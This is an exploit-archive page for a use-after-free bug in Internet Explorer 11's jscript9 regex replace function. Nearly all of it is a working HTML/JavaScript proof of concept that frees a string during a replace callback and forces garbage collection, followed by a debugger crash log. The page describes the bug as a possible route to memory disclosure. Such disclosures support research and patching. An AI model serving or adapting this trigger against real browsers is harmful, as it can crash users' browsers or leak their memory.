Microsoft internet explorer 11 js::regexhelper::regexreplace useafterfree Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-02-20 |
Type : dos |
Platform : windows
This exploit / vulnerability Microsoft internet explorer 11 js::regexhelper::regexreplace useafterfree is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
<!--
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure.
This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing).
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
var vars = new Array(2);
function main() {
vars[0] = Array(1000000).join(String.fromCharCode(0x41));
vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length);
String.prototype.replace.call(vars[1], RegExp(), f);
}
function f(arg1, arg2, arg3) {
alert(arg3);
vars[0] = 1;
CollectGarbage();
return 'a';
}
main();
</script>
<!--
=========================================
Debug log:
=========================================
(be0.c40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????
0:013> r
rax=0000000000000000 rbx=0000000000000000 rcx=0000000018090022
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=000007feecc3b26d rsp=0000000011e4a590 rbp=0000000011e4a610
r8=fffc000000000000 r9=00000000000f423e r10=fffc000000000000
r11=0000000000000008 r12=0000000000000000 r13=00000000148c5340
r14=000007feec9b1240 r15=0000000000000000
iopl=0 nv up ei ng nz ac pe cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d:
000007fe`ecc3b26d 440fb73c41 movzx r15d,word ptr [rcx+rax*2] ds:00000000`18090022=????